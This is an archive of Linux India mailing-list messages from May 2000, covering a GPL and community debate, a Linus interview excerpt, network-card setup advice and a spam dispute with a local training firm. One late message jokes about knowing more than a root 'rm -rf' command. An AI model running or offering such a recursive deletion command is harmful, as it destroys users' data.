29 May 2000 21:57:21 -0700 (PDT) Received: (from raju@localhost) by internal.palcom.net (8.9.3/8.9.3) id KAA29421; Tue, 30 May 2000 10:26:49 +0530 From: Raju Mathur MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14643.18961.725545.279873@malhaar.internal.palcom.net> Date: Tue, 30 May 2000 10:26:49 +0530 (IST) To: "Ravikant K.Rao" Cc: linux-india-general@lists.linux-india.org Subject: Re: Community and Movement In-Reply-To: <14642.47310.693393.615085@rockford.myip.org> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid Reply-To: raju@linux-delhi.org X-Archive-Number: 200005/192 use CGI qw/ :standard / ; use CGI::Pretty ; Fixes all your problems :-) -- Raju >>>>> "Ravi" == Ravikant K Rao writes: Ravi> Y0 31337 d00dz (tm) -- (suresh ishtyle ;) >>>>> "Udhay" == Udhay Shankar N writes: Udhay> Ravi> Udhay> Ravi> Ravi> Nope. The right way to shut html tags are working Ravi> backward. For example, if you went, Ravi> Ravi> then you have to shut it like so, Ravi> Ravi> Again, there are very many guidelines/protocol to be Ravi> followed/obeyed. Ravi> There *should* be only one (as few as possible) tags Ravi> per single line - they should be in all CAPS ..and Ravi> appropriate indentation should be done, too -- so that it Ravi> looks like Ravi> Ravi> blah blah blah Ravi> Ravi> The rules are at www.htmlgoodies.com Ravi> Well, you *could* say, yeah, I could write the entire Ravi> html file in one line ... but the code would be _so_ Ravi> freaking messy, that if you miss *one* "/" somewhere, like Ravi> say with a bold , your entire document is going to Ravi> look bold and its going to take centuries to trace the Ravi> bug. Also, you would end up searching for the valid tags, if Ravi> you do not follow different case conventions... yadayada Ravi> .. more goodies at htmlgoodies.com ... where I learnt my Ravi> html... Ravi> [snip] From linux-india-general-owner@lists.linux-india.org Mon May 29 22:13:03 2000 Received: from web216.mail.yahoo.com (web216.mail.yahoo.com [128.11.68.116]) by www.aunet.org (Postfix) with SMTP id A90CF3804F for ; Mon, 29 May 2000 22:12:58 -0700 (PDT) Received: (qmail 14323 invoked by uid 60001); 30 May 2000 05:12:58 -0000 Message-ID: <20000530051258.14322.qmail@web216.mail.yahoo.com> Received: from [202.54.89.151] by web216.mail.yahoo.com; Mon, 29 May 2000 22:12:58 PDT Date: Mon, 29 May 2000 22:12:58 -0700 (PDT) From: Biju Chacko Reply-To: botsie@mail.com Subject: Re: Formal Member Registration To: linux-india-general@lists.linux-india.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Archive-Number: 200005/193 > On Mon, May 29, 2000 at 12:36:04PM +0530, Raju Mathur wrote: > > - Most are sold to the idea of free software, GNU, GPL, etc. IMHO, most are sold on the concept of free (as in free beer) software. We all know how price-conscious we Indians are. The small minority who have a twinge of guilt when using pirate software have moved to free software. The fact that most free software is technically superior is just an added plus. Biju ===== ------------------------------------------------------------ Biju "Botsie" Chacko Murphy's Law of File Transfers: If a file takes more than 30 minutes to download, someone in your house will pick up the phone within the last 15 seconds. __________________________________________________ Do You Yahoo!? Kick off your party with Yahoo! Invites. http://invites.yahoo.com/ From linux-india-general-owner@lists.linux-india.org Mon May 29 22:43:11 2000 Received: from web205.mail.yahoo.com (web205.mail.yahoo.com [128.11.68.105]) by www.aunet.org (Postfix) with SMTP id 8B8BE38169 for ; Mon, 29 May 2000 22:43:09 -0700 (PDT) Received: (qmail 29947 invoked by uid 60001); 30 May 2000 05:43:09 -0000 Message-ID: <20000530054309.29946.qmail@web205.mail.yahoo.com> Received: from [202.54.89.151] by web205.mail.yahoo.com; Mon, 29 May 2000 22:43:09 PDT Date: Mon, 29 May 2000 22:43:09 -0700 (PDT) From: Biju Chacko Reply-To: botsie@mail.com Subject: "Community" Debate To: linux-india-general@lists.linux-india.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Archive-Number: 200005/194 Hi all, Been following the "Community" debate. I must say it's ridiculous. I don't think it matters "why" you use linux/FreeBSD, just that you do and would like others to do the same. I respect Arun's technical knowledge - I have seen enough of it on the list. The same can be said of most of the participants of this debate. Lets concentrate on what we agree on - the furtherance of free software in India. Let's talk about that and not /why/ you want it to happen. Now, can we move on? Biju ===== ------------------------------------------------------------ Biju "Botsie" Chacko Murphy's Law of File Transfers: If a file takes more than 30 minutes to download, someone in your house will pick up the phone within the last 15 seconds. __________________________________________________ Do You Yahoo!? Kick off your party with Yahoo! Invites. http://invites.yahoo.com/ From linux-india-general-owner@lists.linux-india.org Mon May 29 23:13:27 2000 Received: from sharmas.dhs.org (c62443-a.frmt1.sfba.home.com [24.0.69.165]) by www.aunet.org (Postfix) with ESMTP id CDC9D3804F for ; Mon, 29 May 2000 23:13:21 -0700 (PDT) Received: (from adsharma@localhost) by sharmas.dhs.org (8.9.3/8.9.3) id XAA09074 for linux-india-general@lists.linux-india.org; Mon, 29 May 2000 23:13:08 -0700 Date: Mon, 29 May 2000 23:13:08 -0700 From: Arun Sharma To: linux-india-general@lists.linux-india.org Subject: Re: Bigotry ?? [was --> Re: What is Linux ?] Message-ID: <20000529231307.A8943@sharmas.dhs.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.6i In-Reply-To: <200005292154.DAA20182@cal.vsnl.net.in>; from Indranil Das Gupta on Tue, May 30, 2000 at 02:50:14AM +0530 X-Archive-Number: 200005/195 On Tue, May 30, 2000 at 02:50:14AM +0530, Indranil Das Gupta wrote: Indranil, > > No, that would be like taking my comment out of the context as I had > tried to put it.... what was meant was that while my personal work is > usually quite well served by Linux and associated non-GPLed s/w and > despite my belief in the valid requirement for GPL, I neither act as a > fanatic or have I become a bigot in the sense that GPL should be the > only way to go for __everyone__ concerned, as you seemed to suggest > will be the outcome of focussing too much on the "community" aspect of > Linux... All you're saying is, it's not me, it's my hand which is doing it. GPL is the tool, which has some special (viral) properties. By advocating it, you are responsible for the outcome. "Community" is not the cause, it's a tool to ensure the survival of GPL'ed software. > In recent months you have often repeated that you felt more comfortable > with FreeBSD. IIRC, none of the people on LI who feel strongly about > GPL and the OpenSource movement have ever raised any objection/question > about the suitability of your choice as all these people are inherently > pro-choice. Our differences have been w.r.t. interpretation of GPL, its > application and effects.... we have not condemned your choice (not that > you have condemned ours, there never has been any occasion) Fair statements so far. I might have crossed the line on GPL a couple of times - but that was not the intention. > and yet you say that by insisting on belonging to a community we -- > the users, become bigots???? Putting the "community" above all else is the origin of software bigotry. I'm not saying that it exists, but it could happen. I don't have a problem with the word community, as long as it is used in a neutral sense, as a group of people. I'm not questioning the sincerity of the people who go to the local LUG and exchange CDs and talk about linux or their latest download. I'm not saying that you should charge money when you help your local school to install free software. All I'm asking for is to recognize that philanthropy and business are both necessary for us and there is no need to artificially mix the two or /exclude/ one class of people from the group. Specifically, the group I'm talking about is closed source programmers. I'm saying that we can all live together peacefully. You are, by adopting GPL, saying that we can not. -Arun From linux-india-general-owner@lists.linux-india.org Tue May 30 00:07:29 2000 Received: from sharmas.dhs.org (c62443-a.frmt1.sfba.home.com [24.0.69.165]) by www.aunet.org (Postfix) with ESMTP id 3190E38075 for ; Tue, 30 May 2000 00:07:28 -0700 (PDT) Received: (from adsharma@localhost) by sharmas.dhs.org (8.9.3/8.9.3) id AAA09147 for linux-india-general@lists.linux-india.org; Tue, 30 May 2000 00:07:11 -0700 Date: Tue, 30 May 2000 00:07:11 -0700 From: Arun Sharma To: Linux India General Subject: CTO: Redhat not a Linux company Message-ID: <20000530000711.A9141@sharmas.dhs.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.6i X-Archive-Number: 200005/196 http://www.linuxdevices.com/articles/AT9535810099 http://sourceware.cygnus.com/ecos/license.html From linux-india-general-owner@lists.linux-india.org Tue May 30 01:26:19 2000 Received: from nagpur.dot.net.in (nagpur.vsnl.net.in [202.54.50.1]) by www.aunet.org (Postfix) with ESMTP id 70901380CC for ; Tue, 30 May 2000 01:26:12 -0700 (PDT) Received: from outsider ([203.197.39.41]) by nagpur.dot.net.in (8.9.3/8.9.3) with SMTP id NAA16648 for ; Tue, 30 May 2000 13:45:50 +0530 (IST) Message-ID: <00fe01bfca3d$035b63c0$0101a8c0@outsider.sanisoft> Reply-To: "SANIsoft" From: "SANIsoft" To: Subject: Re: "Community" Debate Date: Tue, 30 May 2000 13:00:03 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-Mailer: Microsoft Outlook Express 4.72.3110.1 X-Archive-Number: 200005/197 >Now, can we move on? By far the best request in the whole thread? I use Linux because my husband does - three hoots for women's lib? Now what does that count as.... ;-) Swati - A Linux Using Bharatiya Naari ===================================== B2B Application Service Providers http://www.sanisoft.com The Vortal for Nagpur http://nagpurcity.net ===================================== -----Original Message----- From: Biju Chacko To: linux-india-general@lists.linux-india.org Date: Tuesday, May 30, 2000 5:47 AM Subject: [LIG] "Community" Debate >Hi all, > >Been following the "Community" debate. I must say it's ridiculous. I From linux-india-general-owner@lists.linux-india.org Tue May 30 01:56:03 2000 Received: from cal.vsnl.net.in (cal.vsnl.net.in [202.54.9.25]) by www.aunet.org (Postfix) with ESMTP id 7760C3812B for ; Tue, 30 May 2000 01:55:53 -0700 (PDT) Received: from indradg.cal.vsnl.net.in (ppp116-110.pppcal.vsnl.net.in [203.197.116.110]) by cal.vsnl.net.in (8.9.0/8.9.0) with ESMTP id PAA20449 for ; Tue, 30 May 2000 15:03:06 +0530 (IST) Message-Id: <200005300933.PAA20449@cal.vsnl.net.in> From: "Indranil Das Gupta" To: Subject: Re: Bigotry ?? [was --> Re: What is Linux ?] Date: Tue, 30 May 2000 14:29:01 +0530 X-Priority: 3 X-Mailer: Microsoft Internet Mail 4.70.1155 MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Archive-Number: 200005/198 Arun, > "Community" is not the cause, > it's a tool to ensure the survival of GPL'ed software. So you finally agree that there /is/ in fact a "community" ? ;-) > I don't have a problem with the word community, as long as it is used > in a neutral sense, as a group of people. In my book having an option to choose and being neutral is not one and the same thing. As long as you are making an /informed choice/, whcih may not be based on philosophy but entirely on the basis of technology or suitability for a certain purpose, I fail to see how you can remain neutral to any issue since you /are/ taking a stand about something, if not a side. Being neutral is more like being an opportunist fence-sitter. A person don't have to be neutral in order to admit that there can more than one side to any given issue, it is also by far the more politically correct and tolerant view of the world. ;) > All I'm asking for is to recognize that philanthropy and business are > both necessary for us Indeed, I do recognise that. I do not try to ram down GPL down the throat of anybody & everybody. At the same time when I want the safeguards that GPL affords to me personally, I feel I am absolutely within my rights to do that... But who defines the proportions of balance between philanthropy and business...?? You will probably want yourself be the judge of that (ie. "I give away what I feel like or want to"). So, what do you do when certain corporate entities chooses to turn a open standard into a proprietory one, resulting in breakage in interoperability? What happens when a corporate entity suddenly decides to start charging royalties for an industry standard format that had been available freely for years, only because it holds the IP rights over it (eg. Unisys) ? > and there is no need to artificially mix the two or /exclude/ > one class of people from the group. Specifically, the > group I'm talking about is closed source programmers. I'm saying that > we can all live together peacefully. You are, by adopting GPL, saying > that we can not. What you are saying translates to something like -- its ok for the closed source programmers to benefit from the knowledge-base or efforts of the Opensource community while they choose to remain closed source. Businesses are inherently driven by the motive to achieve higher profits for its investors. Not that there is anything wrong with that in a market-driven open economy.No one questions the R&D investments and pains taken by a closed source s/w co in developing a particular s/w. But to use that as lever to realise abnormal profits, arm-twist partners and collaborators and most importantly the /users/ is not OK with me. 1. Looking back into the history of personal computing, MS got into the field with its OS largely due to a DoJ anti-trust actions against IBM and today it is facing a similar dilemma itself. Talk about the wheel turning a full circle.... why in the country synonymous with capitalism and free market, do the govt. has to step in against the certain actions of a monopolistic entity which literally has become "too big for its own boots"? Everything MS is being accused of has been possible because of the proprietory nature of its s/w. Its predatory policies to unethically drive out the competition has not always been because it had a better technology. You know that fact like anyone else. 2. The days are past when companies could develop captive markets buying tieing down its customers by selling closed, proprietory products. Today, most people and companies in the IT industry have realised the benefits of going in for some sort of Open Sourcing and use of Open standards that allow for interoperability, reliability and large-scale availability of solutions. We all know what the outcomes were of the fact that the IBM PCs could be cloned and Apple Macs couldn't (ie. for a really long time)... today the PC is an ubiquitous piece of h/w on every desktop. GPL and OpenSource (which is really a huge umbrella for licenses of many shades of grey) are undeniable movements. Whatever we have to say about it is least likely have too much of an effect on it. regards, --Indra. From linux-india-general-owner@lists.linux-india.org Tue May 30 03:13:30 2000 Received: from bom9.vsnl.net.in (bom9.vsnl.net.in [202.54.1.72]) by www.aunet.org (Postfix) with ESMTP id 91B4B380F3 for ; Tue, 30 May 2000 03:13:16 -0700 (PDT) Received: from a (PPP4-212.lvsb.vsnl.net.in [202.54.4.212]) by bom9.vsnl.net.in (Postfix) with SMTP id A372A7CB6 for ; Tue, 30 May 2000 15:38:38 +0500 (GMT+0500) Message-ID: <007701bfca22$07a95560$d40436ca@a> Reply-To: "Jhon Dalton" From: "Jhon Dalton" To: Subject: Which NIC Date: Tue, 30 May 2000 16:00:03 +0530 Organization: Jhon Dalton MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-Mailer: Microsoft Outlook Express 5.00.2014.211 X-Archive-Number: 200005/199 Hi friends, I stay in India. I am trying to install linux on same hard drive with windows. I have NE2000 compatible networking card but that seems to be not working with linux, because linux is not able to detect it, but this is working fine with windows. Now I am going to purchase another card. So please tell me for which card i should go for. Please tell me the name of the card which is good and 100 % compatible with Linux, and is cheap and readily available at Bombay. SHALL I go for D-LINK (pci) if yes which card ?? can you tell me the number or model etc. Any reply will be highly appreciated. Jhon. Jhon_Dalton@mailandnews.com From linux-india-general-owner@lists.linux-india.org Tue May 30 03:33:02 2000 Received: from hbcse.tifr.res.in (unknown [158.144.44.129]) by www.aunet.org (Postfix) with ESMTP id 53B3A38219 for ; Tue, 30 May 2000 03:32:34 -0700 (PDT) Received: from localhost (nagarjun@localhost) by hbcse.tifr.res.in (8.9.3/8.9.3) with ESMTP id QAA12117; Tue, 30 May 2000 16:00:53 +0530 Date: Tue, 30 May 2000 16:00:53 +0530 (IST) From: "Nagarjuna G." To: Jhon Dalton Cc: linux-india-general@lists.linux-india.org Subject: Re: Which NIC In-Reply-To: <007701bfca22$07a95560$d40436ca@a> Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Archive-Number: 200005/200 On Tue, 30 May 2000, Jhon Dalton wrote: ->Hi friends, -> ->I stay in India. I am trying to install linux on same hard drive with ->windows. I have NE2000 compatible networking card but that seems to be not ->working with linux, because linux is not able to detect it, but this is ->working fine with windows. AFAIK almost all the ne2000 cards work fine in linux. find out whether your card is ISA, ISA/PNP or PCI card. find out the io address, if you know the irq it is fine otherwise no problems. Choose the appropriate module, ne for ISA cards, and ne2k-pci for the PCI cards. If the card is ISA/PNP you have to run pnpdump to create the file /etc/isapnp.conf, and then edit appropriately to choose and activate the card. Read the man pages of isapnp. Which distro are you using? -> ->Now I am going to purchase another card. So please tell me for which card i ->should go for. Please tell me the name of the card which is good and 100 % ->compatible with Linux, and is cheap and readily available at Bombay. You can go for a pci ne2000 compatible card of any make, Dlink is no problem. But if the earlier card is pci there is not point in bying one more. Make it working by proper configuration. for more help you have to tell your distro. Nagarjuna From linux-india-general-owner@lists.linux-india.org Tue May 30 06:50:29 2000 Received: from rmx460-mta.mail.com (rmx460-mta.mail.com [165.251.48.47]) by www.aunet.org (Postfix) with ESMTP id 43AE538305 for ; Tue, 30 May 2000 06:50:03 -0700 (PDT) Received: from web142-mc.mail.com (web142-mc.mail.com [165.251.48.167]) by rmx460-mta.mail.com (8.9.3/8.9.3) with SMTP id JAA03507; Tue, 30 May 2000 09:49:03 -0400 (EDT) Message-ID: <380924316.959694543108.JavaMail.root@web142-mc.mail.com> Date: Tue, 30 May 2000 09:49:03 -0400 (EDT) From: Gandalf Mithrandir To: ramesh@linuxlearningcentre.com, "G.T.Enterprises" Subject: Re: [ilug-blr] SPAM Cc: ilug-bangalore@egroups.com, linux-india-general@lists.linux-india.org Mime-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: mail.com X-Originating-IP: 202.54.39.181 X-Archive-Number: 200005/201 Dear Mr. Taranath, >You could send a personal mail to Mr.Ramesh in this regrad. Just for your information, *EVERY* message that I sent in regard to the SPAM that I received was send To: ramesh@linuxlearningcentre.com with cc's to the appropriate other email id's. You obviously did not notice or did not care. Either ways, it does not make a difference to me. >I guess, the purpose of ( Mr.Ramesh ) he sending such mails to > the list is to spread the message of Linux and to educate more > people with Linux. SPAM is NOT what I call education. If it so, then it's perhaps education for you. Not for me. Not for other users who at the LUG came up to me and agreed with the mail I had sent, except that some said that I was too decent and too soft. >It is > deffently not to distrube any one nor to earn a living out of > it. Incidentally, you may wish to note that both the objectives are being acheived. I am being disturbed and LLC *is* making a living out of it. Nevermind that. I can't object to the second half, but I strenuously object to the first. Your credentials in this area (SPAM) are particularly suspect, especially since the nature of your SPAMing rarely ever differs from that professed by Linux Learning Center. I hoped (NOTE: past tense) that Mr. M.S. Vijayan's mail on *your* spam would have made atleast the slightest of an impact on you. It obviously has not. However, with today's mail(CLOSE - OUT SALE...., 8159 bytes), you outdo yourself. You not only spam the LUG Blr, but you have the effontery to add the following > Linux Learning Centre- www.linuxlearningcentre.com > Part Time Advanced Course: 2nd June 2000 ( 2 hours day ) > Fast Track Advance Course: 19th June 2000 (4 days Full >Time) > Email: linux@vsnl.com > -------------------------------------------------------- > : G.T.Enterprises - The one Stop Shop for LINUX : > : Mail to gtcdrom@vsnl.com : > : URL : www.gtcdrom.com : > : Phone : 91-80-6606093 : > : Fax : 91-80-6671407 : > : 98440 10269 ( only in urgency please) : > --------------------------------------------------------: So, not only are your credentials completely busted in sending me a placatory mail, you are also directly tied to LLC. And inspite of replying to my mail to LLC, you *STILL* send me spam!!!!! You have helped and sponsored the LUG on occasion. I respect your contribution, even as it is colored by the fact that on nearly every occasion, you have had commerical profit indirectly or directly. However, that does not give you the right to overstep your boundaries. The same spam *could* have been posted (edited?!?) to the LUG with a simple [Commercial] tag attached to it. Or you could have posted a request to people to join a new group dedicated to emails from you (ILUG-Blr-I-WANT-MY-DAILY-FIX-OF-SPAM). You chose to SPAM. The fact that you could send this SPAM to me, less than a week after being "a voice of reason" regarding my mail to LLC makes me rather frustrated and angry. Either you are so consumed with hubris that you no longer care for any opinion or it is that *one* single Linux user raising his voice against you makes *no* difference. Well, I shall see about that. I have drafted a mail on the lines that Suresh R. (LIG) had suggested. I had not mailed it in, simply because an acknowledgement / explaination or apology (hoping for too much?) would have been prevented me from taking drastic measures. I had decided to wait for a week. I will similarly apply the rules to your mail. One week from now, I will do all that is in my capacity to have all SPAM causing email id's removed from their respective ISP, web hosting service or service provider. I will ensure that atleast on this list, users *will* not be taken for granted. Yours Sorrowfully, M p.s. all other users who have got the same mail and object to *forced* to receive SPAM from anyone, drop me a line. p.p.s List moderator(s) - motion to request to check if ramesh@linuxlearningcentre.com, , are part of the lists, if so, consider necessary action. Gandalf Mithrandir /* Mobilis in mobile */ Final Year CS&E, UVCE, Blr /* Any Sufficiently Advanced Operating System is indistinguishable from Linux */ // Do not meddle with SysAds for they are quick to anger and subtle in their ways // ______________________________________________ FREE Personalized Email at Mail.com Sign up at http://www.mail.com/?sr=signup From linux-india-general-owner@lists.linux-india.org Tue May 30 11:27:09 2000 Received: from netscape.com (h-205-217-237-46.netscape.com [205.217.237.46]) by www.aunet.org (Postfix) with ESMTP id 82E623817C for ; Tue, 30 May 2000 11:27:03 -0700 (PDT) Received: from judge.mcom.com (judge.mcom.com [205.217.237.53]) by netscape.com (8.8.5/8.8.5) with ESMTP id LAA04202 for ; Tue, 30 May 2000 11:19:56 -0700 (PDT) Received: from netscape.com ([207.1.145.44]) by judge.mcom.com (Netscape Messaging Server 4.15) with ESMTP id FVDXWY00.06F for ; Tue, 30 May 2000 11:26:58 -0700 Message-ID: <393407F2.54A05102@netscape.com> Date: Tue, 30 May 2000 11:26:58 -0700 From: Sudhakar Chandra Organization: I didn't do it, nobody saw me do it, no one can prove a thing X-Mailer: Mozilla 4.73 [en] (X11; U; Linux 2.2.15 i686) X-Accept-Language: en, fr MIME-Version: 1.0 To: Linux India General Subject: Re: Kerala evolving new vistas in e-governance Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Archive-Number: 200005/202 Arun Sharma proclaimed: > On Mon, May 29, 2000 at 02:04:51PM -0700, Sudhakar Chandrasekharan wrote: > > Then again, quite a few people on the net consider the free market > > economy to be equally evil. > I don't come across these people - probably because the Americans have > a majority on these mailing lists and they have their prejudices about > the C-word. http://www.lbbs.org/ is just one of a number of websites (and mailing lists) which considers the freemarket economy to be evil. > Exactly my point. Thanks for the note about Finland. I didn't know > about the Socialist leanings of both Finland and Sweden. (Those who > didn't know, Linus has a Swedish descent, but lived in Finland). I read somewhere (Linux Journal?) that Linus' father was active int he Finnish communist party. Wonder how the spooks in INS gave him a visa... ;-) I guess we all are in agreement in some areas. Thaths -- Marge: Can we get rid of this Ayatollah T-shirt? Khomeini died years ago. Homer: But, Marge! It works on _any_ Ayatollah: Ayatollah Nakhbadeh, Ayatollah Zahedi...even as we speak, Ayatollah Razmada and his cadre of fanatics are consolidating their power. Sudhakar C13n http://www.aunet.org/thaths/ Lead Indentured Slave From linux-india-general-owner@lists.linux-india.org Tue May 30 11:46:05 2000 Received: from sharmas.dhs.org (c62443-a.frmt1.sfba.home.com [24.0.69.165]) by www.aunet.org (Postfix) with ESMTP id 3310A38058 for ; Tue, 30 May 2000 11:46:00 -0700 (PDT) Received: (from adsharma@localhost) by sharmas.dhs.org (8.9.3/8.9.3) id LAA10543 for linux-india-general@lists.linux-india.org; Tue, 30 May 2000 11:45:44 -0700 Date: Tue, 30 May 2000 11:45:44 -0700 From: Arun Sharma To: Linux India General Subject: Old Linus interview Message-ID: <20000530114544.A10459@sharmas.dhs.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.6i X-Archive-Number: 200005/203 http://tlug.linux.or.jp/linus.html [ Linux getting GPL'ed seems to have roots in Linus's dislike of Minix ] HY: When and why did you decide to place Linux under GPL? Did you ever regret not making it into a shareware? Linus: [...] I actually originally released Linux with complete sources under a non-GPL copyright that was actually much more restrictive than the GPL: it required that all sources always be available, and it also didn*t allow any money to be exchanged for Linux at all (ie not only did I not try to make money off it myself, but I also forbid anybody else to do so). That original copyright was mainly a reaction against the operating system I had been trying to use before Linux: "Minix". Minix was meant to be a teaching operating system, but it had been to limited and in my opinion too expensive for that. It was also hard to get hold of. So when I made Linux, I wanted it to be easily available over ftp with full sources, and I did _not_ want it to be too expensive for anybody. I changed the copyright to the GPL within roughly half a year: it quickly became evident that my original copyright was so restrictive that it prohibited some entirely valid uses (disk copying services etc - this was before CD-ROM's became really popular). And while I was nervous about the GPL at first, I also wanted to show my appreciation to the gcc C compiler that Linux depended on, which was obviously GPL'd. Making Linux GPL'd was definitely the best thing I ever did. From linux-india-general-owner@lists.linux-india.org Tue May 30 20:51:36 2000 Received: from cs2.hyd.office.juno.com (cs2.hyd.office.juno.com [208.238.62.3]) by www.aunet.org (Postfix) with ESMTP id CB0E8380EA for ; Tue, 30 May 2000 20:51:28 -0700 (PDT) Received: (from sureshr@localhost) by cs2.hyd.office.juno.com (8.8.6.Beta0/8.8.7/juno-1.1) id JAAAA13497; Wed, 31 May 2000 09:21:07 +0530 (IST) Date: Wed, 31 May 2000 09:21:07 +0530 From: Suresh Ramasubramanian To: Gandalf Mithrandir Cc: linux-india-general@lists.linux-india.org Subject: Re: Re: [ilug-blr] SPAM Message-ID: <20000531092107.B13314@staff.juno.com> Reply-To: Suresh Ramasubramanian Mail-Followup-To: Gandalf Mithrandir , linux-india-general@lists.linux-india.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <380924316.959694543108.JavaMail.root@web142-mc.mail.com>; from gandalf@india.com on Tue, May 30, 2000 at 09:49:03AM -0400 Organization: Juno Abuse Desk X-Archive-Number: 200005/204 Gandalf Mithrandir saw fit to inform LI that: >I have drafted a mail on the lines that Suresh R. (LIG) had suggested. I had >not mailed it in, simply because an acknowledgement / explaination or >apology (hoping for too much?) would have been prevented me from taking Congratulations, O Grey wizard!!! I'd request you to see http://www.mail-abuse.org/rbl/candidacy.html and use that as a followup in case gtcdrom / linuxlearningcenter's upstreams do not respond to you. Include this entire thread as well. This bozo has just managed to talk himself into becoming an automatic rbl candidate. >the rules to your mail. One week from now, I will do all that is in my >capacity to have all SPAM causing email id's removed from their respective -- and websites which are advertised as well. Congratulations. >ISP, web hosting service or service provider. I will ensure that atleast on >this list, users *will* not be taken for granted. Also point him to http://spam.abuse.net/spambad.html (Why is Spam bad), and http://www.efuse.com/Grow/direct_email_marketing_.html >Yours Sorrowfully, ... like Don Corleone says, its just business, not pleasure. >// Do not meddle with SysAds for they are quick to anger and subtle in their ways // Am filching this for my database of sigquotes, if you don't mind ;) -- Suresh Ramasubramanian | sureshr at staff.juno.com Captain Penny's Law: You can fool all of the people some of the time, and some of the people all of the time, but you Can't Fool Mom. From linux-india-general-owner@lists.linux-india.org Wed May 31 06:12:41 2000 Received: from mbg.vsnl.net.in (mbg.vsnl.net.in [202.54.12.3]) by www.aunet.org (Postfix) with ESMTP id 1B8613809A for ; Wed, 31 May 2000 06:12:36 -0700 (PDT) Received: from 0.0.0.0..vsnl.net.in (PPP-177-29.bng.vsnl.net.in [203.197.177.29]) by mbg.vsnl.net.in (8.9.1a/8.9.1) with SMTP id SAA28388; Wed, 31 May 2000 18:35:51 +0500 (GMT+0500) Message-Id: <3.0.2.32.20000531185424.0098b3f0@blr.vsnl.net.in> X-Sender: gtintblr@blr.vsnl.net.in X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.2 (32) Date: Wed, 31 May 2000 18:54:24 +0500 To: ilug-bangalore@egroups.com From: "G.T.Enterprises" Subject: Re: [ilug-blr] SPAM Cc: linux-india-general@lists.linux-india.org, Gandalf Mithrandir , ramesh@linuxlearningcentre.com In-Reply-To: <380924316.959694543108.JavaMail.root@web142-mc.mail.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Archive-Number: 200005/205 Dear Mr.Gandalf Mithrandir Your e-mail id has been removed from our mailing list. If you have any more e-mail ids to be removed please let me know. Sorry for the inconvenience. Best regards, Taranath \|||/ (. .) ---oOoo--------------- Linux Learning Centre- www.linuxlearningcentre.com Part Time Advanced Course: 2nd June 2000 ( 2 hours day ) Fast Track Advance Course: 19th June 2000 (4 days Full Time) Email: linux@vsnl.com -------------------------------------------------------- : G.T.Enterprises - The one Stop Shop for LINUX : : Mail to gtcdrom@vsnl.com : : URL : www.gtcdrom.com : : Phone : 91-80-6606093 : : Fax : 91-80-6671407 : : 98440 10269 ( only in urgency please) : -------------------------------------------------------- From linux-india-general-owner@lists.linux-india.org Wed May 31 06:28:25 2000 Received: from cs2.hyd.office.juno.com (cs2.hyd.office.juno.com [208.238.62.3]) by www.aunet.org (Postfix) with ESMTP id 9E21E38073 for ; Wed, 31 May 2000 06:28:04 -0700 (PDT) Received: (from sureshr@localhost) by cs2.hyd.office.juno.com (8.8.6.Beta0/8.8.7/juno-1.1) id SAAAA25946; Wed, 31 May 2000 18:57:32 +0530 (IST) Date: Wed, 31 May 2000 18:57:32 +0530 From: Suresh Ramasubramanian To: "G.T.Enterprises" Cc: linux-india-general@lists.linux-india.org, Gandalf Mithrandir , ramesh@linuxlearningcentre.com Subject: Re: Re: [ilug-blr] SPAM Message-ID: <20000531185732.B25578@staff.juno.com> Reply-To: Suresh Ramasubramanian Mail-Followup-To: "G.T.Enterprises" , linux-india-general@lists.linux-india.org, Gandalf Mithrandir , ramesh@linuxlearningcentre.com Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <3.0.2.32.20000531185424.0098b3f0@blr.vsnl.net.in>; from gtintblr@blr.vsnl.net.in on Wed, May 31, 2000 at 06:54:24PM +0500 Organization: Juno Abuse Desk X-Archive-Number: 200005/206 G.T.Enterprises saw fit to inform LI that: >Dear Mr.Gandalf Mithrandir >Your e-mail id has been removed from our mailing list. >If you have any more e-mail ids to be removed please let me know. >Sorry for the inconvenience. Tell you what - see http://www.mail-abuse.org/rbl/manage.html on how to run a mailing list without being accused of spamming. If you don't follow those guidelines, I'd advise you to see http://www.mail-abuse.org/rbl/candidacy.html (and the rest of the pages in http://www.mail-abuse.org/rbl will also be very interesting and scary reading) > Linux Learning Centre- www.linuxlearningcentre.com > Part Time Advanced Course: 2nd June 2000 ( 2 hours day ) > Fast Track Advance Course: 19th June 2000 (4 days Full Time) > Email: linux@vsnl.com Oho ... so this is another of your ventures, and 1. You have harvested addresses from one or more sources - LI, Ilug-Blr, perhaps the Bang!Linux to send out your price lists to people who didn't ask for them at all (including people like Thaths, who live in the USA and don't want your stuff at all). 2. You use the same addresses to send out spam for your Linux training division - again to people who didn't ask for this stuff. In fact, if people _gave_ you their addresses to send them mail re your price lists, you have NO RIGHT to add them to a list advertising linux courses. 3. Gandalf, at least, knows a little more than # NOHUP rm -rf& - and so will not require your courses. So your mailing is not just unsolicited, it is very very poorly targeted. > : Fax : 91-80-6671407 : > : 98440 10269 ( only in urgency please) : Right - even you understand why spam is bad - sort of. You have given your cellphone number and written "Only in urgency please". How would you feel if telemarketers called you up on your cellphone to try and sell you some stupid scheme (say computer courses) that you never asked for and don't want? Or suppose somebody started faxing you 10 page ads every week? Remember, speech is not free if it comes postage due. You can't trot out lame arguments like "free speech, marketing, freedom of 